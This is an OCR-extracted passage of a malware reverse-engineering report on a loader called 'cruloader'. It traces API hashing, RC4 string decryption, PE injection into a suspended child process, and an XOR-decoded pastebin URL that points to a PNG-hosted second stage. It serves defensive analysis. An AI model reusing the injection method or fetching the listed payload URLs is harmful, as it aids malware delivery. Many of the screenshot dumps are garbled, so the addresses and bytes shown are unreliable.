002E1570 8A9C35 FBFEFFFF mov bT,byte ptr[ss:Tebpresi-108]
002E15 B8 89888888 mov eax,3888888
002E157C F7EG mul esi
002E157E 8BCH mov eax,esi
002E1580 ClEA 03 shr edx,3
002E1583 8BCA mov ecx,edx
002E1585 C1E1 04 shl ecx,4
002E1588 2BCA sub ecx,edx
002E158A BC1 sub eax,ecx
002E158C 8D8D FBFEFFFF lea ecx,dword ptr gs:[[lebp-108]
002E1592 OFB64438 0C movzx eax,byte ptrfds:[eax+edi+C]
002E1597 02C add al,
002E1599 02F8 add bh,al
002E1598B QFBGC7 movzx eax,bh
002E159E 03c8 add ecx,eax
002E15A0 0FBGO1 movzx eax,byte r ds:[ecx]
002E15A3 888435 F8FEFFFF mov byte ptr ssjllebp+esi-108],al
002E15AA 46 inc esi
002E15AB 8819 mov byte ptr dg:[ecx],bl
002E15AD 81FE 00010000 cmp esi, 100
002E15B3 | ~ 7C BB 31 main_| "bin. 261570

EIP p—— 8BBD EBFEFFFF mov edi ,dword ptr ss:[ebp-118]
nNocitee 2ICA var aci acs

<

edi=main_bin. 002F6060
dword ptr ss:[dword ptr ss:[ebp-118]]=[0019FE10]=00015400

/

;,’Struct

Text 0021585 main hin. exe:$1585 #9R5

Whpumpt @WDuwmp2  @Upump3  YWDump4  Woumps @ watchi  [x=lLocals

Address [Hex ASCII

0019FE20 |OC 63 3D 24[65 3B DA 3C[1F 6F BC 5C|02 78 66 F9[.c=%e;U<.o%\.xfu
0019FE30 |EQ 09 D8 7B |56 DB 3E 45|50 BF E3 FC |20 9C E9 C6 |a.@{VO-EP;a0 .éL
0019FE40|00 72 ED 74 |55 46 AB 91 (B4 5A 77 0B|9E 4E 83 62 |.ritUF«..Zw..N.b
0019FES50 |C7 A2 89 6A B4 AE B3 Al|BA 4B BD 60 (EA 23 D9 18 |CC.j ®3;°KK" &#0.
0019FE60 |4A F6 31 E1|90 88 &6C DC |95 33 76 3F|B1 37 BE DO |Jola. 1U Iv?+7HD
0019FE70 |59 DE 87 80|B5 3A F3 BO|0D F4 B7 7F |EC 64 9F id.
0019FEB0 |CC 26 81 CA|7E 16 C2 5F (96 A9 OA C4|9B 6B B6

0019FE90 |9D 85 FF 11|2F 01 FE 54 (29 F1 48 9A|C5 A6 39

0019FEAO [8F 08 F2 CD|FB AA 35 D5|99 15 8B 22 (2E 05 41 oy Sno ar
0019FEBO |57 2B 32 CE|C9 8C 69 70|38 4F D2 10|DD DF 14 07 |w+2IE.ip800.YR.
0019FECO |D1 AC 51 D7 |5E 4C 93 D3 (30 25 F7 03|40 6E 52 82 NﬂQxAL OOY @nR
0019FEDO |CO 94 28 S8 |EB A0 04 79 |2A EF 44 1A |42 AF 97 .8
0019FEEO |6D 8A A4 E5|B8 E8 34 47 (B2 67 A3 86|0E 21 73

0019FEF0 |13 D4 5D FO |OF 43 53 68|71 FA 27 2D|F5 8D 1E .0]d. cshqu -0..6
0019FFO00 |[E6 FD F8 4D|7A CB EE 1D|75 8E €3 98|C8 2C D6 E7 |@yeMzEi.u.A.E,OC
0019FF10 |E2 B9 7C 7D|C1 5B 19 BB |A5 12 1C 61|92 E4 1B CF a‘I}A[ »¥..a.4.1
0019FF20 |00 00 2E 00(D4 7B 0B 29 (70 FF 19 0B 18 2E

0019FF30 |01 OO0 00 00|28 OB 67 00(C8 11 67 8C 7B OB

0019FF40 (93 18 2E 00|93 18 2E 00|00 10 5C 00 00 00

0019FF50 |00 00 00 00|00 00 00 00 (3C FF 19 00 00 00

0019FF60 |CC FF 19 00[00 23 2E 00/04 AB 3D 29[00 00 00

At the end of the entire loop, the data continued to appear pseudo-random, so we moved on to the next breakpoint, the

indirect call via the CreateProcessA API.

8% main_bin.exe - PID: 4100 - Module: main_bin.exe - Thread: Main Thread 14424 - 32dlb [Elevated]
Fle View Debug Tradng Plugns Favouites Options Help Dec 2023 (TitanEngne)

CoE %N ¢t 9§ talo2seLis L B9

Bou [Jg [fntes  ® redkponts M MemoryMap  [JCallStack  S3SEH  [of soipt @ symbos <> Source £ References P Threads  saHandes ¥ Trace
002E1086 push eax
002E1087 FF15 0SE02E00 gall duord ptr ds: [<Getprocaddress>]
002E108D 8D8D ABFBFFFF Tea e(x dword ptr ss:|[ebp-458]

002E1093 51 ush ec:

002E1094 8D8D BBFBFFFF ea ecx, dwurd ptr ss:[lebp-443]]
002E109A 51 push ecx

002E1098 6A 00 push 0

002E109D 6A 00 push 0

002E109F 6A 04 push 4

002E10A1 6A 00 push 0

002E10A3 6A 00 push 0

002E10AS 6A 00 push 0

002E10A7 6A 00 ush 0

0
808D FCFBFFFF ea ecx,dword ptr ss:|lebp-404])
push ec
Eall eax

test eax,eax

002E10A9
0A

FFDO
85C0
0

Indirect CreateProcessA APT call

= E£105 F54 000 J€ main_bin. JEL.

f 002E10BA Eaaszmo mov_ecx,main_| bw 2F48E8 2F48E8:"T9eghl/n//b3"
; 002E10BF E8 3C020000 call main_bin.2E1300

i 002E10C4 68 94482F00 push main_bin.2F4894 2F4894:"kernel32.d11"
; 002E10C9 FFDO call esi esi:Loadlibrarya

| o ceagrenn ch main hin Jcagce "TOanh1n/ fh1"

nnocince
<

When executing the CreateProcessA call, you can see that it creates a process with the same name as itself.

% Process Hacker [D25PK-UK-FBANK\Adalberte]+ (Administrator)

Hacker View Tools Users Help

Processes  Services  Network

Just in case, let’s dump this new process created.

Page 11

D25SPK-UK-FBANK\Adalberto

of 28

Name PID CPU I/Qtotal.. Privateb.. Username Description
> ] System Idle Process 0 874 60kB NTAUTHORITY\SYSTEM
[ Registry % 1453MB  NT AUTHORITY\SYSTEM
[ csrss.exe 488 164MB  NT AUTHORITY\SYSTEM Client Server Runtime Process
> ] wininit.exe 576 127MB  NT AUTHORITY\SYSTEM Windows Start-Up Application
[ csrss.exe 584 006 17MB  NT AUTHORITYASYSTEM Client Server Runtime Process
> 0] winlogen.exe 6§76 257MB  NTAUTHORITY\SYSTEM Windows Logen Application
~ 1 explorerexe 0164 010 4837TMB  D2SPK-UK-FBANK\Adalberto Windows Explorer
D SecurityHealthSystray.exe 16288 157MB  D25PK-UK-FBANK\Adalberto Windows Security notification...
> @ msedge.exe 16396 59.46 MB  D25PK-UK-FBANK\Adalberto Microsoft Edge
@ OneDrive.exe 16452 173MB  D2SPK-UK-FBANK\Adalberto Microsoft OneDrive
~ ¥ 32db.exe 11964 029 4145MB  D2SPK-UK-FBANK\Adalberto x64dbg
~ [ main_bin.exe 4100 976 kB D2SPK-UK-FBANK\Adalberto
[ conhost.exe 3364 6.78MB  D2SPK-UK-FBANK\Adalberto Console Window Host
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1% Process Hacker [D25PK-UK-FBANK\Adalberto]+ (Administrator)
Hacker View Tools Users Help

Processes  Services  Metwork

MName PID CPU  I/Ototal ... Privateb..
> [05] Systern Idle Process 0 91.80 60 kB
[ Registry 92 14.68 MB
[ csrss.exe 438 1.62 MB
> [8] wininit.exe 576 1.27 MB
[ csrss.exe 584 001 1.7 MB
> [0 winlogon.exe 676 2.42 MB
v ' explorer.exe 10164 0.18 50.04 MB
@ SecurityHealthSystray.exe 16288 1.57 MB
> I msedge.exe 16396 50.44 ME
& OneDrive.exe 16452 17.3 MB
v 35 32db.exe 1194 057 40.69 MB
v [5] main_bin.exe 4100 0.0 1.02 MB
E¥ conhost.exe 3364 673 MB
it ph.exe Terminate Del E
3 22db.exe Terminate tree Shift+Del
Resume
Restart
Debug
Virtualization
Affinity
Pletmeid ~

Having saved the second process as a precaution, we will continue executing the sample, until the next breakpoint triggers.

And the VirtualAllocEx breakpoint has worked, now we can know what the allocated space will be, and what can be

written in the scope of this allocated memory.

3 main_bin.exe - PID: 15060 - Module: main_bin.exe - Thread: Main Thread 10540 - 32db [Elevated]

Fle View Debug Tracng Plugins Favourites Options Help Dec 4 2023 (TitanEngine)
COE S0 ¢t wi taloEelLhs 0L ES
By [Giog  [UnNotes @ predkponts M8 vemoymap [ Callstack Sy Lo Saipt @ symboks O Sowce O References 9 Thveads s Handes ¢ Trace
eax

pus
push dword ptr ds: [ebx54

FF73 54 1 .
8985 Q4FBFFFF mov dword ptr ss:[lebp-46C], eax eax:VirtualAllocEx
57 push edi
50 ush eax eax:VirtualAllocEx
FFBS ABFBFFFF push dword ptr ss:[lebp-458])
FF95 9CFBFFFF €all dword ptr ss:[ebp-464] First indirect WriteProcessMemory API call
8B85 9BFBFFFF mov eax,dword ptr ss:[lebp-468] eax:VirtualAllocEx, [dword ptr ss:[ebp-4681]
3309 Xor ecx,ecx
3308 xor ebx,ebx ebx: "PE"
66:3848 06 cmp cx,word ptr_ds: [eax+6] word ptr ds: [eax+06]:VirtualAllocEx+6
rrrrrr -~ 734C jae main_bin.2E1241
33F6 xor esi,esi esi:GetProcAddress
8B4F 3C mov ecx,dword ptr ds: [edi+3C]
03CE add ecx,esi esi:GetProcAddress
6A 00 nush 0

If we take a look at the stack before executing the VirtualAllocEx call, we can understand what is happening.

Below we can see the parameters passed to VirtualAllocEx to be executed. The first parameter is the most interesting
(identified as 0000010c), as it refers to the Handle of the process that will suffer from this action, that is, the process that

will have space allocated in memory.

0019F960
0019F964
0019F968
0019F

return to kernel32.GetProcAaddress+14 from 777
kernel32. 0000
main_bin. "virtualallocex"

00400000
0019F974 | 00018000 | -— I

| VirtualAllocEx params
0019F97C | 00000040
UUL9FYED [ OUUL 5400
0019F984 | 00015400
0019F988 | 002F00EB | main_bin. 002FO0EB
0019F98C | 00350134
0019F990 | 00000040
0019F994 | 00350100 | "PE"

0019F998 | 77805220 | kernel32. writeProcessMemory
0019F99C | 003E0000

0019F9A0 | 002E0000 | main_bin. 002EQ000
0019F 944 | D000010C
0019F9A8 | 00000110
0019F9AC | DO001F04
0019F9B0 | 00003738
0019F9B4 | 00000000
0019F9BE | 00000000
0019F9BC | 00000000
0019790 | 00000000
0019F9C4 | 00000000

When we look at the handles of the current process that we are debugging, we can see that handle 0x10c is the handle for the

child process created in suspended state.
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[] main_bin.exe (15060) Properties — O X
General Statistics Performance Threads Token Modules Memory Environment Handles
Hide unnamed handles
=
Type MName Handle
Directory KnownDlls %38
Directory KnownDlls32 Ox4c
Directory KnownDlls32 0x30
Directory Sessions\1\BaseMamedObjects Oxch
File C:\windows Ox44
File C:\Users\Adalberto\Desktop OxB8c
File Device\ConDrv 030
File Device\ConDry Ox94
File Device\ConDrv Ox9c
File Device\ConDrv Oxal
File Device\ConDry Oxat
Key HKLM\SOFTWARE WMicrosoftiWwindows NT\CurrentVersion\Image File Execution Options 0x3
Key HKLM\SOFTWARE WMicrosoft\Windows NT\CurrentVersion\Image File Execution Options 0x50
Key HELM\SYSTEM\ControlSetdo 1\Contral s Customlocale Onede
Key HKLM\SYSTEM\ControlSet00 1\Control\Nis\Sorting \Versions Oxfq
Key HKCU\SOFTWARE WMicrosoft\Windows NTYCurrentVersion Ox1ic
Key HELM\SYSTEM\ControlSetdo 1\Control\Session Manager 0x124
Mutant \Sessions|\1\BaseMamedObjects\SM0: 15060: 168: WilStaging_02 Oxac
Process main_bin.exe (7340) Ox10c
Semaphare \Sessions\1\BaseMamedObjects\SM0: 15060: 168: WilStaging_02_p0 Oxb4
Thread main_bin.exe (7940): 14136 Ox110

We continue execution until our next breakpoint triggers. The breakpoint in is the indirect call to the WriteProcessMemory
APL

As we can see below, in the WriteProcessMemory implementation structure, the third parameter that must be in the Stack
is the IpBuffer, which must contain the memory address for the data that will be written to the process indicated in the first

parameter (hProcess), which will contain the process handle.

BOOL WriteProcessMemory(

[in] HANDLE hProcess,

[in] LPVOID 1pBaseAddress,

[in] LPCVOID lpBuffer,

[in] SIZE_T nSize,

[out] SIZE_T *1pNumberOfBytesWritten

In the image below, in addition to being able to identify the indirect call to the WriteProcessMemory API, we are also able
to validate the target process (the same handle identified in the previous call) and the payload of the second stage that will be

written to the remote process.

K i, inne - I: 2572 Moduk: i i - Teen: Mai T 752 - 200 Eeaed] -
Fo Ve O T Puors Frvarter -

cenu L BE

coloonts W8 Memory Mep (0] Cal stack sopt Wsmbos < souce Refeences  Wivess  dhrendes ¢ Toce
5 B s e s e
£ FF73 54 pus| rd ptr ds: [ebx-54. -3
E g

TR0 ckernel 2. Getprocaddress>
&1 00260000

Xor ebx ebx ebx:"PE 1 ooclice  mainbin.002eior
6:3848 06 np Cxword ptr ds: [eaxi6]

ic Jae main_bin.2€1241 ErLacs 00000344

36 Xor esi,es1 esi:Getprocaddress 21 7p 1 aE

4 3 oy ccx.dword ptr ds: [edi+3c] G0 S0 o0

ice add ecx.est esi:GetProcaddress Go i

00 push

5439 08010000 bush dword ptr ds: [ecx:edi+105] Lasterror 000001E7 (CRROR_INVALID_AOORSSS)
888439 0010000 mov eax.dword ptr ds: [ecx-edi-10C] & (STATUS CONFLICTING_ADORESSES)
03c7 add eax. edi
s %
8

0 == 2
e > 1 f- g Ry
rneT32. writepr ocesaROTyS S35+6] 00260000 00260000

Grord per 357 [aword per 35 [ebp-46411-[0010F098 <br Tceproces shemory>] 4
3 tE35] 05650400 000004

$owp1  $S0up2  80wp3  EH0ues  Wouws 8 wachi  belock P st o¢ 15
I
9500 00 00 0040 00 00 0000 .
30/d0 55 0 80160 8 03 000 o | +—— IpBuffer param.
2 o
i{0a oafosfoofoajoofoofojoofootuits R 00 Contains the data that will be written
0 7572 6f 67 73/l 6 2 63e3 & oision
S 69(2 75 75 e (50 e a6 304 4 5 astn_bin. cozro0cs
3 63136 65 00 0x 24 80 80 0|00 o
3 5364 38 £7 63| £3 £ 63c1 88 £
2 A E3 F2 63 E1 88 F; (eFne132.ur iteprocessesory
3(7C 88 F7 62[65 €7 F2 63|4B 88 |<«———— The second stager [ ER 4
it R aatn_bin. o02c0000
£ G3(ce 88 F8 63 3 8 £ %
£7 G3(an €7 13 63 oF 8 £
£7 £330 85 50 60 60
5 0b 60 6300 60 60 60|00
23 58168 &3 28 88 60
8303 65 &1 b¢ 160
3 (50 00 00 00 F3 22 ab 00 0b 30 00
46 85158 10 06 60 60
2 82100 30 8 60103 o

Now that we have identified the second stage payload, we can move on to the memory address that contains this data,
through x32dbg.
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# main_bin.exe - PID: 12572 - Module: main_bin.exe - Thread: Main Thread 4752 - 32db [Elevated]

File View Debug Tracng Plugins Favourites Options Help Dec4 2023 (TitanEngine)
SN BEN RS- X AR N WASE X S V- N
B [ tlog [ Motes ® Breskpoints 8 MemoryMap | (L)) CallStack | S@SEH || Saipt 8] syml
ﬂ_ FFDO gall eax
AT =k I Vs GA 00 push O
] Binary v | FF73 54 push dword ptr ds:[ebx
™ o , | 8985 94FBFFFF mov dword ptr ss:[ebp-
e 57 push edi
B  Follow in Disassembler 50 push eax
] FFB5 ABFBFFFF push dword ptr ss:[[ebg
FF95 9CFBFFFF call dword ptr ss:[eb
s  Label Current Address 8B85 9BFBFFFF mov eax,dword ptr ss:ﬁ
@9 \Watch DWORD 33C9 XOr ecx,ecx
) 33DB xor ebx,ebx
7 Modify Value Space 66:3B48 06 cmp cx,word ptr ds:[ez
®  EBreakpoint v 1 73 4C jae main_bin.2E1241
- 33F6 Xor esi,esi
/2 Find Pattern... Ctrl+B 8B4F 3C mov ecx,dword ptr ds:|[
il Find References Cirl+R. 03CE add ecx,esi
; ) ) 6A 00 push 0
= Syncuith expression = FFB439 08010000 push dword ptr ds:[ecx
"% Allocate Memary 8B8439 0C010000 mov eax,dword ptr ds:[
— , | 03¢7 add eax,edi
B Gob 50 push eax
- 8B8439 04010000 mov eax,dword ptr ds:|
¥ Hex > N85 QACRCCEED add asv dwnrd nte oo
L Az Text L4
wor 47]=[0019F998 <&writeProcessMemory>]=<kernel32.wri"
B Integer 3
Lrext O Float b &soe
W pu @ Address ump 4 8% Dump 5 G watch1 b=l Locals ;,;’ Struct
Addri [ Disassembly ASCIT
002606 0[04 00 00 OO[FF FF 00 OO [MZ.......... VY. .
00260010 |[B8 00 00 00|00 00 (40 00 00 00|00 00 Q0 00|, ....... @.......
00260020 |00 00 00 00|00 00 OO0 00|00 00 00 00|00 00 00 OO0 |.....cvvuvuunnn.
00260030 |00 00 00 00|00 00 OO 00|00 00 00 00|00 01 00 00| .....cvvuvuunnn.
00260040 |OE 1F BA OE |00 B4 09 CD|21 B8 01 4C|CD 21 54 68|..°.. .I! .LT!Th

When we identify the location where the second stage is stored, we simply extract the dump as a file

#— main_bin.exe - PID: 12572 - Medule: main_bin.exe - Thread: Main Thread 4752 - 32db [Elevated]
File Debug Tracng Dec 4 2023 (TitanEngine)

SO E 0T taulSEePrH AR

a@

& cru | # Log #® Breakpoints
Address |Size Info

00010000 | 00010000
00020000 | 00001000
00021000 | 00007000
00030000 | 00008000
00040000 | 0001DO0O
00060000 | 00035000
00095000 | 0Q000BOO0O
00040000 | QO0FBOOO
00198000 | 00005000
00140000 | 00004000
00180000 | 00002000
001c0000 | 00001000
001D0000 | 00001000
0010000 | 00001000
001F0000 | 00001000
00200000 | 00001000
00210000 | 00001000
00220000 | Q0007000
00227000 | 00009000
00230000 | 00001000
00240000 | 00001000
00250000 [ 00001000

ARAT Ennn

Wiew Flugine Favourites Options Help

=7 56l

conten

[ Notes 8 Memory Map D- Call Stack

Party
8 User
8 user
£ user
£ user
£ user
£ user
£ user
£ user
£ user
8 User
8 user
8 User
8 User
8 user
£ user
£ user
£ user
£ user
£ user
£ user
£ user
& user

T
Follow in Disassembler

reserved (00020000)
Reserved

Reserved
stack (4752)

reserved (00220000)

ed

Follow in Dump

Dump Memory to File

Comment 7

T
Find Pattern... Ctrl+B a

Region view

oc
Find references to region e\HarddiskvoTume2'windows" 2

Allocate memory ed

EB (4752), wow64 TEB (4752

E
ree memary ed (00400000)

Add virtual module

e
8188
Go to 4 gd )

Set Page Memory Rights

D 0)
ed (00750000)
ed

L] FER TN

Memory Breakpoint L4

In this section, we analyze the first stage of the ‘sent by the IR team‘ malware. In this first stage, we identify the use of API

hashing encryption techniques to resolve them in memory, and call them indirectly. Furthermore, we identified that the first
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stage executes the PE Injection technique in a remote process (a child process of the same binary, however, with the second

stage injected into its memory scope).

In the next section, we will perform the same analysis on the second stage extracted from the first stage.

Reversing Second Stage

In this section we will perform the analysis of the second stage, extracted during the analysis of the first stage.

Below, we can see the overall image of the flowchart of the execution of the main function code.

[
-
]

And right at the beginning of the function, we are presented with some conditionals that perform decryption using the RC4

algorithm, and perform Hashed API resolution.

Pseudocode-A

37 if ( 1vé )
38 break;
39 w5 = (unsigned __int8 *)vé6;
40 }
41 )
42 if (|rc4_routine|lv5, strlen((const char *)v5)) == 0xB925C42D )
43 {
44 sub 401DCO({ (int) &savedregs) ;
45 return 0;
46 }
47 else
48 {
49 v7 = dynamic_library load (0, 0x8436F795); // API Hashing -> IsDebuggerPresent
50 if ( v70) || sub_401000() )
51 {
52 return 1;
53 }
54 else
55 {
56 v20 = v3;
57 sub_401D50() ;
58 w23 = *(_OWORD *)sub_401CA0(v22);
59 ModuleHandleW = GetModuleHandleW(0);
60 v9 = (int)ModuleHandleW + *#*((_DWORD *)ModuleHandleW + 15);
61 w27 = v9;
62 w10 = dword 416Ac4 (0, *( DWORD *) (v9 + 80), 4096, 4, vi, v20);
63 w21 = *(_DWORD *) (v8 + 80);
64 vll = v10;
65 v26 = v10;
66 sub 4037B0(v10, ModuleHandleW, w21);
67 w24 = w23;
68 w25 = dword 416ACB(v23, 0, *(_DWORD *) (v9 + 80), 4096, 64);
69 vl2 = w25 - (_DWORD)ModuleHandleW;
0000130C main:42 (401F0C) (Synchronized with IDA View—A, Hex View-1}
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We can check the xrefs referring to the re4_routine function, with the aim of identifying when this function is called, and

trying to understand the contexts of its execution.
And as we can see in the image below, this function is performed in two functions:

* main — current function;

o dynamic_library_load - function seen in the previous image.

xrefs to rcd_routine

Direction Typ Address Text
EUp p dynam load+4B call
p _main+6C call rc4_routine

If we check the use of the rc4_routine function within the dynamic_library_load function, we will see that this function is

responsible for decrypting the libraries that will be loaded at run time.

Pseudocode-A a]

1 [FARPROC 7fa5:call|dynamic71iblal'y,load(in: index, int windows api) I

3| HMODULE library name; // edi

4| int v3; // esi

5| int v4; // ebx

6| FARPROC result; // eax

7 bool rcé4_result; [/ zf

8 int (_ stdeall *vw8) (); // [esp+14h]

9

10 ary name = LoadLibrarya((&library list) [index]);

11 H

12 *(_DWORD *) ((char *)library name + *((_DWORD *)library name + 15) + 120);

13 = (FARPROC) ( (char *)library name + *(_DWORD *) ((char *)library name + v4 + 32));
14 = result;

15 || if ( *(_DWORD *) ((char *)library name + v& + 20) )

16 {

17 while ( 1)

18 {

19 re4 result = re4_routine(

20 (unsigned __int8 *)library name + *((_DWORD *)result + v3),

21 strlen((const char *)library name + *((_DWORD *)result + v3)}) == windows api;
22 result v8;

23 if ( rc4 result )

24 break;

25 if ( (unsigned int)++v3 >= #(_DWORD *) ((char *)library name + v4 + 20) )

26 return result;

27 1

28 return GetProcAddress(library name, (LPCSTR)library name + *((_DWORD *)v8 + v3));
29 }

30| |return result;

31}

00000629 dynamic_library_load:31 (401229)

The most interesting thing is to understand that both functions will only be executed depending on the conditional met. If the
result of the rc4_routine function is as expected, the sample execution flow will execute the sub_401DCO0 function.

o ® [E Pseudocode-A

27 CHAR Filename([1040]; // [e=p+3dh
28| int savedregs; // [esp+4d8h] [ebp+0

p-414h] BYREF
BYREF

30| GetModuleFileNamea(0, Filename, Ox104u);
31| v5 = (unsigned _ int8 *)sub 404A23((int)Filename, (int)sbyte 413CA0);

32 4f (v5)

EERI

34 while (1)

35 «

36 w6 = sub_404A23(0, (int)sbyte 413CA0);
37 if (196 )

38 break;

39 v5 = (unsigned _ intB *)v6;

40 )

a1] 3

2| if (rea_routine(vs, strien((const char 7)v5)) == 0XBS25C42D )
43

44 ‘ (int) ssavedregs) ;

45 return 0;

46|

477 else

48| ¢

49 v7 = dynamic_library load(0, 0xB436F795); // APT Hashing -> IsDebuggerPresent
50 if ( v7() || sub_4010000) )

51 «

52 return 1;

53 )

54 else

55 «

56 v20 = v3;

57 sub_401D50 () ;

58 w23 = *(_OWORD *)sub_401CA0 (v22);

59 ModuleHandleW = GetModuleEandlew (0) ;

00001485 _main:44 (402085) (Synchronized with IDA View-A, Hex View-1)

And within this function, we are presented with another execution of the Hashing API technique, using the
dynamic_library_load function
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1lint usercall sub 401DC0@<eax>(int al@<ebp>)
2

4

1c int retaddr; //

11

12 = al;

14 dword_416AB8B = (int)dynamic library load(2, OxDAl6A83D);
dword 416ADB = (int)dynamic library load(2, 0x16505E0);
1€ dword_416ABC = ( )dynamic_library load(2, O0x6CCO098F5);
dword 416AD4 = (int)dynamic library load(2, 0xE5191D24);

18 [0] = xmmword 413c7cC;

19 = 234;

20 [1] = xmmword 413CBC;

21 = lstrlenA((LPCSTR)vS);
22 =0;

23 do

24 {

25 *((_BYTE *) + ) = _ROL1_(*(( BYTE *) + )., 4) A 0xC5;
2 +v2;

27 }

28 | while ( < Vi

29 = sub_401290(v5);

return sub_4013A0(v3);

Hex

000011ED 00401DED: si {Synchronize 000011ED sub_401DC0:14 (401DED) (Synchronized with IDA V

When identifying a function, which receives a hash as a parameter, it is a strong indication that the API Hashing technique is

being applied. Therefore, we need to use tools like HashDB to identify which API these hashes are applied to.

We could use the HashDB plugin for IDA or Binary Ninja, but thinking about new future malware researchers, who don’t
have money to buy a license (for now), I developed and still update a script that automates the basic task of HashDB, called
hashdb_automated. This is because API Hashing is extremely common in malware, and these young malware researchers

could be left in the dark without Plugins.

Below we can observe the execution of the script, and the discovery of the APIs that are being resolved by this function.
$ python3 has

VAN - / A A -/
N S S W VARR N TOVAA VA VWAL LA
[ VAN AN -\
NS_INE_INE_INE_INE INE_INE_INY /N

kup
orithm + XOR Key Look

e (1/2/3): 1

(separated by commas, Pr Crtl+C to Come Back):  6xDA16A83D,0x16505E0, 0X6CCAI8F5, 0XE5191D24

ithm: crec32

drFile

ithm: cre32

d by commas, Pri crtl+C to Come Back): ||

As you can see in the image above, this function is resolving APIs related to communication capabilities, possibly with
adversaries’ C&C.

Having this information in hand, we can now rename variables, objects and the function name, with the aim of making the

code more readable.

After resolving the APIs related to communication capacity, the function code performs an XOR operation to decrypt two

sets of bytes in hexadecimal, using the key 0xc5.
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0 @ ® [T Pseudocode-a

«
tnt v1; //

T DA View-A

xmaword 41365 xmword 7C6D108D
Network Communication related APls

resolved

snmword 413C6C xmaword 7CADTCCREDIDDCA i 11
char v3; //
TG Smmword 113CTC  wmeword OBACATAT @ 1/
_ine1s vs; //
i

xmaword 413C8C xmaword 2818CF8A0AIBEAREZBAATEAES AAAGA

int retaddr; //

Vo ITIE v 0B

byte a13cA0  ab sch

TTaynanic Tibrary Toad (2,
« o 3 . . X 3 ) dynanic.

strings

quord_a13cad

Ox165
) ))dynanic_Library load(2, 0xécct

InternetReadpile = (3001 ( 3 ,
))dynanic 1ibrary load(2, 0xES191D24):;

InternetCloseNandle = (5001 ( Xt
107 = xmeword 41367C

(1) = xmewora_s13cse;
B T YDy
-0
@
¢
e )

quora_d13cc
word_i13cce

align 10
xnmword 413€D0 xmaword §16161616161616161616161616

+ v = _RoLL_(+(( Jvi v 2, @) A oxcs,

xmaword 413CE) xmeword 6598537ED2F0S7D

)

WETTe (97 <717

; Debug Directory entries = sub_401290(( rears
a0 sub_4013A0 (1) v3) 5

aa suxe

a

XOR Operation with the key 0xc5
I implemented this (and all the others that will be seen in this section) algorithm observed in the IDA pseudo-code in Python,

with the aim of decrypting the data and identifying the deobfuscated information. The script can be found below.

def rol1_url(byte, shift):
return ((byte << shift) | (byte >> (8 - shift))) & OxFF

def decrypt_url(v5):
for i in range(len(v5)):
v5[i] = rol1_url(v5[i], 4) ~ oxC5

decrypted_url = "'.join([chr(byte) for byte in v5 if byte != 0])

return decrypted_url

xored_url = [
0xDA, 0x1B, 0x1B, 0x5B, @x6B, OxFF, OXAE, OXAE, @x5B, @x4A, 0x6B, 0x1B, 0x0A, @x7A, OxCA, OxBA, OxBE, @x6A, OxAA, 0x8/

]
decrypted_url = decrypt_url(xored_url)
print(f"\033[32mString Decrypted \@33[m[\@33[33mdownload_inject\@33[m]: \033[31m{decrypted_url1}\@33\n")

Below in the script execution, we are able to identify that the XOR operation decrypts a URL.

$ python3 decrypt str 2stag

researcher@purple-lab:

String Decrypted:| https://pastebin.com/raw/mLem9dDGkA

If we access the decrypted URL, it takes us to another URL that stores a PNG file.

pastebin.com

https://1i.1bb.co/KsfqHym/PNG-02-Copy.png

If we access this other URL, we will have access to a PNG file with practically no content.

https://i.ibb.co/KsfqHym/PNG-02-Copy.png

If we download this PNG file, and open it in a Hexadecimal reader/editor (I used xxd), we will be able to identify the string

redaolurc, which is basically cruloader backwards, followed by several possibly encrypted bytes.

0000 0000 0000 0000 0000

0000
0000

0000 0000 0000
0000 0000 00
0000 0000 0000
0000 0000 0000
0000 00

00041120

Analysis of the content of this PNG file will be explored in the next section. Now let’s continue with the code flow of the

function we are analyzing.

0000
0000
0000
0000

0000
00

0000
0000
0000
0000
0000
0000

After decrypting the URL string, two functions will be executed, sub_401290 and sub_4013A0
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[T Pseudocode-A

1[foid _usercall network apis (int ale<ebp>)
B

_OWORD pastebin url _encrypted[2]; // [es)
__int16 v5; // [esp-20h] [ebp-2Ch]
int v6; // lesp+
9| int v7; // [esp+dh] [ebp-8h]
10| int retaddr; // [esp+Chl [ebp+0h]

3
4

5| char w3; // eax
€ ] [ebp-4Ch] BYREF
7

8

®12| v6 = al;
v7 = retaddr;
# 14| InternetOpenA = (HINTERNET (_stdcall *#) (LPCSTR, DWORD, LBCSTR, LPCSTR, DWORD))dynamic_library load(2, OXDAL6A83D);// API Hashing -> InternetOpenA
# 15| InternetOpenUrlA = (HINTERNET (_stdcall *) (HINTERNET, LECSTR, LBCSTR, DWORD, DWORD, DWORD_PTR))dymamic_library load(
16 2

17 0x16505E0) ;// API Hashing -> InternetOpenUrla
© 18| InternetReadFile = (BOOL (_stdcall *) (HINTERNET, LPVOID, DWORD, LPDWORD))dynamic_library load(2, 0X6CCO98FS);// API Hashing -> InternetReadFile
# 19| InternetCloseHandle = (300L (_stdcall *) (HINTERNET))dynamic library load(2, 0xES191D24);// API Hashing -> InternetCloseHandle
20| pastebin url encrypted[0] = xmmword 413¢7¢C;
®21| v5 = 234;
®22| pastebin url .
.

nerypted[1] = xmmword 413C8C;
encrypted = lstrlenA((LPCSTR)pastebin url_encrypted) ;
24| count_len url = 0;

o

®27 *((_BYTE *)pastebin url encrypted + count len url) = _ROLL _(#((_BYTE *)pastebin url encrypted + count len url), 4) A 0xC5;
» 28 ++count_len url;

30[whiTe ( count len url < len pastebin url encrypted 17
31| v3 = sub_401290 ((LECSTR) pastebin url encrypted);

sub_401380((int)v3) ;

ecee

000011C0 network_apis:1 (401DC0) (Synchronized with IDA View-R, Hex View-1)

First let’s analyze the sub_401290 function, which takes the decrypted URL string as an argument.

After de-hashing the APIs in the previous function, it is clear that this function is responsible for downloading the PNG file,
through the decrypted URL.

Pseudocode-A
1 [char *__thiscall|sub_401290 (LPCSTR pastebin_url_dencrypted) |

2|
3| char *allocated memery; // ebx

4| void *url_handle; // edi

5 FARPROC bool HttpQueryInfoh; // eax

6| char *var allocated memory; // esi

7| void *hanlde internet; // [esp+Ch] [ebp-78
8| DWORD dwNumberofBytesRead; // [esp+10h] [ebp-74h] BYREF
9| int v9; // [esp+l4h] [ebp-70h] BYREF

[ebp-6Ch] BYREF

ebp-68h] BYREF

10 SIZE T dwSize; // [esp+18h]
11| char v11[100]; // [esp+ich

13 | dwNumberOfBytesRead = 1;

14| v9 = 16;

15| dwSize = 2048;

16 || allocated memory = (char *)Virtualalloe(0, (SIZE T)&dwsize, 0x1000u, 4u);

17 | hanlde_internet = InternetOpenaA("cruloader®, 1u, 0, 0, 0);

